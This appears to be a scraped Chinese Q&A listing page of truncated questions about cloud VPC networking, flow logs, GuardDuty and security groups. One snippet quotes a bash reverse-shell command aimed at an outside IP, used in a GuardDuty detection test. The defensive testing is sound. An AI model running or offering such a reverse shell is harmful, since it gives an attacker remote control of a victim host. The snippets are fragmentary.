我知道tcp中控制位定义了TCP连接的标志，如SYN、FIN、ACK。但从我的网络流量来看，有时对于某些数据包，控制位是0(未设置)。
这种行为意味着什么？
浏览 10提问于2020-02-24得票数 2
我在google云中建立了一个VPC网络，运行了几个实例。其中一个实例充当VPN机器，允许我与来自internet的实例进行交互。从互联网到VPC网络。内部，即实例之间的数据包。我不知道该怎么做。我不能依赖我的实例(在我的例子中，直接在它们中使用tcpdump不是一个选项)。相反，因为在VPC中没有“真正的”网络层2，因为它是虚拟化的，我本来希望能够以某种方式进入云路由器并从那里捕
浏览 0提问于2017-09-05得票数 1
2回答
有一个命令可以在boto3中为VPC创建流日志：使用要删除的流日志ID作为参数，但是如何获得这些ID？
还将流日志</
浏览 7提问于2016-05-18得票数 1
回答已采纳
1回答
我是EKS的新手(但熟悉k8s)，我正试图在EKS上运行我的项目。我运行了我的项目部署和db部署，两者都在运行：NAME READY UP-TO-DATE AVAILABLE AGE CONTAINERSSELECTOR
my-app LoadBalancer 10.102.XXX.XXX XXX-XXX.us-east-1.elb.amazonaws.com 8000:31722/TCP10.102.0.1
浏览 10提问于2020-12-18得票数 0
回答已采纳
VPC
cidr_block = "0.0.0.0/0" # IPV4 Route Out fortcp" } description= "tcp"
浏览 15提问于2020-06-14得票数 2
回答已采纳
我在一个示例“攻击者”aws EC2实例上运行EC2，然后在EC2实例上运行bash反向shell，该实例由公共子网中的GuardDuty & VPC流日志监视：bash -i >& /dev/tcp/54.4.4.12/6666 0>&1。为什么AWS GuardDuty不使用以下方法发现此攻击是可疑的：
Behavior:EC2/NetworkPortUnusua
浏览 3提问于2022-01-05得票数 0
我试图估计每月GuardDuty将花费多少钱，而根据，我应该查看我一个月生成多少cloudtrail日志，以及一个月生成多少VPC日志( GB )。使用boto3 S3，我可以计算出我的桶中有多少日志，这告诉我要让GuardDuty读取我的日志需要花费多少时间。现在，我想知道我的VPC日志生成了多少GB的数据，但是我似乎不知道我可以从哪里提取这些信息。我想以编程的方式查看我一个月产
浏览 3提问于2018-04-13得票数 0
回答已采纳
在AWS中，做了2个账户。账户2: B\x{e76f}已部署的RDS使用AWS网络接口控制台搜索您获得的IP地址，并从
浏览 0提问于2021-04-27得票数 -1
回答已采纳
我正在为VPC创建一个流日志，它将日志发送到一个cloudwatch组。我使用的代码与这个链接的CloudWatch日志部分的代码完全相同：，只需用VPC的id更改vpc_id。虽然创建了流日志，但大约15分钟后，状态从“活动”更改为“访问错误:日志目标不可访问”。( 1)这不是一个策略问题，因为当我从控制台执行相同的<
浏览 3提问于2018-11-05得票数 1
回答已采纳
我想确定哪些子网没有记录VPC流。从控制台中，我可以看到，其他一些子网没有启用VPC流日志，就像从"Flow
浏览 0提问于2020-05-19得票数 1
回答已采纳
1回答
在人们的帮助下，我设法摆脱了麻烦。然而，我遇到了一个新的麻烦。我试着用AWS连接到。AWS红移连接失败。 at java.base/sun.nio.ch.Net.connect0(-31 20:56:16.359 [ 78] GENERAL INFO Test connecting to Ama
浏览 5提问于2020-12-31得票数 0
1回答
有一个资源，我想在这里编写自己的MySQL规则，通过附加这个资源从前端实例中允许MySQL流量，但是它没有显示任何像"FromPort“、"ToPort”、“协议”之类的属性。我不确定上面列出的属性是否支持。
浏览 0提问于2016-08-19得票数 0
回答已采纳
如何配置位于VPC中的AWS日志组，使其能够登录到与Lambda本身相关联的Cloudwatch日志组？这是必需的，这样我就可以避免使用每个请求创建摘要日志的成本，例如：
2022-02-10T10:16:19.133+00:00 START RequestId: 52cbfd7e-71ec-4499Billed Duration: 7412 ms Memory Size: 256 MB Max Memory Used: 201
浏览 7提问于2022-02-10得票数 0
1回答
我有一个代码构建项目，我正在启动一个VPC。在VPC之外，项目运行并登录到Cloudwatch日志中。我需要在VPC内部移动，以便它能够访问数据库。在VPC内部，安装阶段失败，代码构建无法将任何东西写入Cloudwatch日志。构建的控制台页面上写着：
错误:指定的日志流不存在。我希望安全组是问题所在，但是是开着的，它们没有显示代码构建ENI的
浏览 0提问于2018-10-01得票数 1
回答已采纳
2回答
在AWS中每个环境都有单独的VPC是一种常见的设计模式：
如果我编写了一个新的应用程序服务，我将在每个{prod，暂存，dev} VPCs中都有它的一个副本。但是，对于公共服务的prod/暂存版本(比如度量)，我应该做些什么呢？如果它是直截了当的，我只需将一个副本放在shared VPC中。但是如果它是一些自定义
浏览 4提问于2020-01-08得票数 2
在亚马逊网络服务控制台上，我手动为ElasticSearch配置了下面的安全规则。有三个VPC。转接网关将它们连接起来。ElasticSearch安装在VPC-A中。： Inbound rules:All TCP TCP 0 - 65535sg-0288988f38d2007be / shared-elasticSearch-sg
All
浏览 40提问于2021-03-19得票数 0
回答已采纳
1回答
我在引擎(2e2标准节点)上托管了一个不太小的集群，有几个web服务在互相交谈。该架构由以下部分组成：1个部署和1个状态集，每个副本1个一些内部工具，如CertManager它们公开了供我的移动应用程序使用的RESTful API。
在账单细目中，我可以看到由Nginx控制器生成的1.5+ TB/月出口流量，我无法解释这一点。我希望出口流量只存在于SQ
浏览 0提问于2020-09-15得票数 0
1回答
请帮我解决这个让我恶心的问题。目的:我准备在GCE实例(GoogleCloud Platfrom)中建立一个网站: Centos 7实例让我们将其称为“主机-vm”，安装在其中的停靠引擎，将wordpress和mariadb运行称为容器，主机-vm端口80与容器端口80相映射；端口80允许作为TCP服务，VPC中的防火墙规则允许用于端口80；我的主机-vm临时代理IP (是动态的)。
问题:最初，它是工作(能够得到管理页面和我
浏览 4提问于2020-06-09得票数 0
回答已采纳
我想创建2个VPC安全组。 protocol = "-1" } Name = "VPC-PrivateSG另外，如果我注释掉来自PrivateSG的BastionSG的出口规则，它也会执行得很好。
浏览 5提问于2016-07-07得票数 8
回答已采纳
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
腾讯会议
云直播活动推荐
腾讯云开发者
